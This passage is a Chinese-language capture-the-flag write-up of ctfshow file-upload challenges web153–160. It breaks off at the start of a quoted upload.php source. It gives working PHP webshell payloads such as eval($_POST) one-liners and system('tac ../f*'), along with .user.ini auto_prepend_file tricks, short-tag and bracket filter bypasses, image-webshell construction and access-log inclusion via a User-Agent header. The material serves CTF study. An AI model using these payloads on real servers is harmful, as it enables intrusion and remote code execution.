ctfshow文件上传-超详解

最新推荐文章于 2024-12-19 00:59:40 发布

原创

最新推荐文章于 2024-12-19 00:59:40 发布 · 493 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#php

本文详细探讨了PHP环境下的各种安全问题，包括.user.ini配置文件的利用、短标签绕过、文件上传漏洞的利用技巧，如通过.htaccess、session文件包含等方法植入并执行恶意代码。同时，介绍了如何防范这些攻击，如文件类型检查和内容过滤。

文件上传

web153

user.ini官方文档：

自 PHP 5.3.0 起，PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI／FastCGI SAPI 处理。
此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里，则用 .htaccess 文件有同样效果。

除了主 php.ini 之外，PHP 还会在每个目录下扫描 INI 文件，
从被执行的 PHP 文件所在目录开始一直上升到 web 根目录（$_SERVER['DOCUMENT_ROOT'] 所指的）。
如果被执行的 PHP 文件在 web 根目录之外，则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

.user.ini文件

auto_append_file=hack.png
auto_prepend_file=hack.png

此文件使用其他要求：

同目录下有php文件来包含你上传的木马文件

web154-155

尝试使用短标签绕过
对于php的标签其他写法，我们这里多说几种
1、

<? echo '123';?>
前提是开启配置参数short_open_tags=on

<?=(表达式)?>  等价于 <?php echo (表达式)?>
不需要开启参数设置

3、

<% echo '123';%>

前提是开启配置参数asp_tags=on，经过测试发现7.0及以上修改完之后也不能使用，而是报500错误，但是7.0以下版本在修改完配置后就可以使用了。
4、

<script language=”php”>echo '123'; </script>

不需要修改参数开关，但是只能在7.0以下可用。
对于该题，我们可用使用<?=(表达式)?>进行绕过，图片内容<?=eval($_POST[1]);?>
剩下的步骤同153

web156

在前面的基础上过滤了 []那我们直接用{}来代替
图片马内容<?=eval($_POST{1});?>

web157 158 159

<?=`tac ../f*`?>//159过滤了括号可以用这个绕过
<?=system('tac ../f*')?>

web160

制作图片马

<?=include"/var/lo"."g/nginx/access.lo"."g"?>
copy 1.png/b + 1.php/a cnm.png

利用.user.ini

auto_prepend_file="cnm.png"

方法一

UA头注入一句话木马，蚁剑连接即可

upload.php源代码：

error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
   
   
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
   
   
    $filename = $_FILES